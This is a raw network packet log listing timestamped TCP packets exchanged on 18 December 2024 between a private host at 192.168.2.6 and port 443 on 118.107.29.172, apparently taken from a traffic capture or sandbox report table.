Dec 18, 2024 13:35:47.614635944 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.614676952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.614753962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.614779949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.614794970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.614922047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.619935036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.619961977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.619997978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.620009899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.620031118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.620048046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.649079084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.649116039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.649180889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.649195910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.649223089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.649240017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.654287100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.654320002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.654371023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.654385090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.654407024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.654424906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.660993099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.661026955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.661083937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.661098003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.661124945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.661142111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.665957928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.665987968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.666033030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.666045904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.666085005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.666095018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.672420979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.672449112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.672499895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.672518969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.672532082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.672813892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.678392887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.678426981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.678503036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.678520918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.678540945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.678553104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.806854963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.806885004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.806937933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.806971073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.806986094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.807859898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.812135935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.812170029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.812196970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.812202930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.812237024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.841748953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.841794014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.841833115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.841841936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.841880083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.846951962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.846976042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.847004890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.847013950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.847047091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.847064018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.852231979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.852257013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.852286100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.852293015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.852324963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.858244896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.858305931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.858342886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.858350039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.858385086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.864840984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.864878893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.864900112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.864907026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.864952087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.870729923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.870763063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.870806932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.870812893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.870846033 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.870862961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.999342918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.999377012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.999501944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.999536037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.999577045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.004292011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.004321098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.004362106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.004379988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.004405975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.004422903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.033725977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.033757925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.033818007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.033829927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.033863068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.033878088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.039232016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.039266109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.039307117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.039319038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.039359093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.044492006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.044521093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.044553995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.044560909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.044584990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.044600010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.050206900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.050234079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.050267935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.050275087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.050293922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.050312996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.057426929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.057460070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.057501078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.057507992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.057553053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.062819958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.062855959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.062882900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.062889099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.062938929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.191481113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.191524982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.191560030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.191579103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.191595078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.191613913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.196425915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.196460009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.196482897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.196487904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.196517944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.196533918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.227001905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.227036953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.227078915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.227092981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.227116108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.227133036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.232151031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.232184887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.232219934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.232250929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.232266903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.232291937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.238079071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.238105059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.238143921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.238157988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.238177061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.238192081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.242536068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.242557049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.242588043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.242594004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.242619038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.242635965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.249881983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.249902964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.249938965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.249943972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.249975920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.254749060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.254770041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.254802942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.254811049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.254852057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.383799076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.383861065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.383927107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.383964062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.383982897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.384078026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.388797998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.388859034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.388884068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.388911009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.388932943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.388955116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.417983055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.418047905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.418091059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.418119907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.418134928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.418159008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.423672915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.423728943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.423744917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.423754930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.423803091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.423820972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.428858042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.428921938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.428963900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.428983927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.429007053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.429023981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.434645891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.434674025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.434708118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.434724092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.434751034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.434766054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.442038059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.442065001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.442112923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.442148924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.442163944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.442187071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.447130919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.447151899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.447195053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.447205067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.447246075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.447267056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.576157093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.576220989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.576261997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.576296091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.576309919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.576421976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.581136942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.581167936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.581218004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.581228018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.581267118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.610099077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.610138893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.610181093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.610198975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.610223055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.610239983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.615871906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.615909100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.615943909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.615952969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.615983963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.616002083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.621678114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.621711016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.621751070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.621759892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.621788025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.621808052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.626863003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.626890898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.626924038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.626929998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.626960039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.626979113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.634248018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.634284973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.634318113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.634332895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.634361029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.634378910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.640037060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.640069962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.640113115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.640130997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.640155077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.640172005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.768253088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.768321991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.768361092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.768393993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.768409967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.768426895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.797493935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.797523022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.797569036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.797615051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.797630072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.797663927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.801877022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.801892042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.801932096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.801959038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.801974058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.802048922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.807709932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.807728052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.807797909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.807827950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.807845116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.807930946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.813481092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.813494921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.813541889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.813564062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.813579082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.813601017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.819490910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.819508076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.819550991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.819566965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.819582939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.819678068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.826256990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.826273918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.826313972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.826339006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.826354980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.826390028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.861258984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.861277103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.861340046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.861375093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.861392021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.861438990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.960477114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.960515976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.960558891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.960596085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.960618973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.960637093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.989748001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.989767075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.989864111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.989905119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.989944935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.994425058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.994440079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.994488001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:48.994514942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:48.994534016 CET	49728	443	192.168.2.6	118.107.29.172
